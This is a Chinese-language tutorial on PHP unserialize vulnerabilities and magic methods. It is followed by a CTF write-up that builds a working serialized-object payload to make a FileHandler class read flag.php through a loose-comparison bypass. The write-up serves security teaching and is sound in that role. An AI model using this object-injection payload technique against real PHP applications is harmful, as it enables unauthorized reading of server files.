PHP 反序列化漏洞简介
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
无类测试
serialize
unserialize
有类测试
<?php
class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!<br>';
?>
运行结果:
创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!
调用了析构函数
调用了析构函数
CTF真题
进入靶场后,页面显示代码如下:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
?>
代码解析及思路:
1、代码中包含了flag.php,定义了一个名为FileHandler的类,并且对GET方式提交的$str进行反序列化操作
2、由此考虑给$str传入被序列化后的FileHandler类,那么调用unserialize的时候会检查类中有没有__wakeup方法,这里没有所以不调用。
而当程序退出时$obj会被销毁,此时会调用__destruct方法。
3、这里__destruct方法先判断$obj的op属性是否等于2(注意:这里使用的是3个等于),若是则将其赋值为1,然后调用类的process方法。
而process方法首先判断$obj的op属性是1还是2(注意:这里使用的是2个等于),若是1则调用类的write方法,若是2则调用类的read方法。
4、由于目的是得到flag,所以我们应该让其调用read方法,由此应该在调用process方法时使$obj的op属性等于2。
但是这里有个问题,如果我们给$str传值的时候就传入op属性等于2,其反序列化后的对象$obj销毁时调用__destruct方法,会重新将op赋值为1,
导致后面无法调用read方法,那么该如何绕过op的重新赋值呢?
5、观察到__destruct方法判断$obj的op属性是否等于2时使用的是3个等于号(强等于,不会进行类型转换),即要op要为字符串形式的"2"时才为True。
而process方法判断$obj的op属性值时使用的是2个等于号(弱等于,类型转换后再比较)。
由此一来,只需要构造op为数值的2或者" 2"即可绕过op的重新赋值,成功调用read方法。
并且让filename="flag.php",这样read方法才能读取到flag内容。
6、利用以下代码的输出结果给$str传值:
<?php
class FileHandler {
public $op = ' 2';
public $filename = "flag.php";
public $content = "ch4ser";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"ch4ser";}
7、在url地址栏后输入?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"ch4ser";}
右键 - 查看页面源代码 - 得到flag